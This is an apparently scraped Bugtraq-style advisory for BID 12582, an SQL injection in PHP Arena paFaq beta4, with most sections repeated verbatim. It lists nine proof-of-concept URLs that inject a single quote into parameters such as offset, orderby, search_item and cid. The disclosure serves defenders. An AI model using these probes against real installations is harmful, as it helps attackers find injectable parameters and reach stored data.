PaFaq SQL Injection Vulnerability
BID:12582
Info
PaFaq SQL Injection Vulnerability
| Bugtraq ID: | 12582 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 17 2005 12:00AM |
| Updated: | Feb 17 2005 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Pi3cH <www.PersianHacker.NET>. |
| Vulnerable: |
PHP Arena paFaq beta4 |
| Not Vulnerable: | |
Discussion
PaFaq SQL Injection Vulnerability
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected.
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected.
Exploit / POC
PaFaq SQL Injection Vulnerability
No exploit is required.
The following proof of concepts are available:
http://www.example.com/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order='&limit=10
http://www.example.com/index.php?act=Question&id=1&orderby='&order=DESC&limit=10
http://www.example.com/index.php?act=Answer&cid=1&id=1&offset='
http://www.example.com/index.php?act=Search&code=01&search_item='
http://www.example.com/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id='
http://www.example.com/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4
http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4
No exploit is required.
The following proof of concepts are available:
http://www.example.com/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order='&limit=10
http://www.example.com/index.php?act=Question&id=1&orderby='&order=DESC&limit=10
http://www.example.com/index.php?act=Answer&cid=1&id=1&offset='
http://www.example.com/index.php?act=Search&code=01&search_item='
http://www.example.com/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id='
http://www.example.com/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4
http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4
Solution / Fix
PaFaq SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PaFaq SQL Injection Vulnerability
References:
References:
- paFaq Homepage (PHP Arena)
- [PersianHacker.NET 200505-07] paFAQ Beta4 Sql Injection (PersianHacker.NET)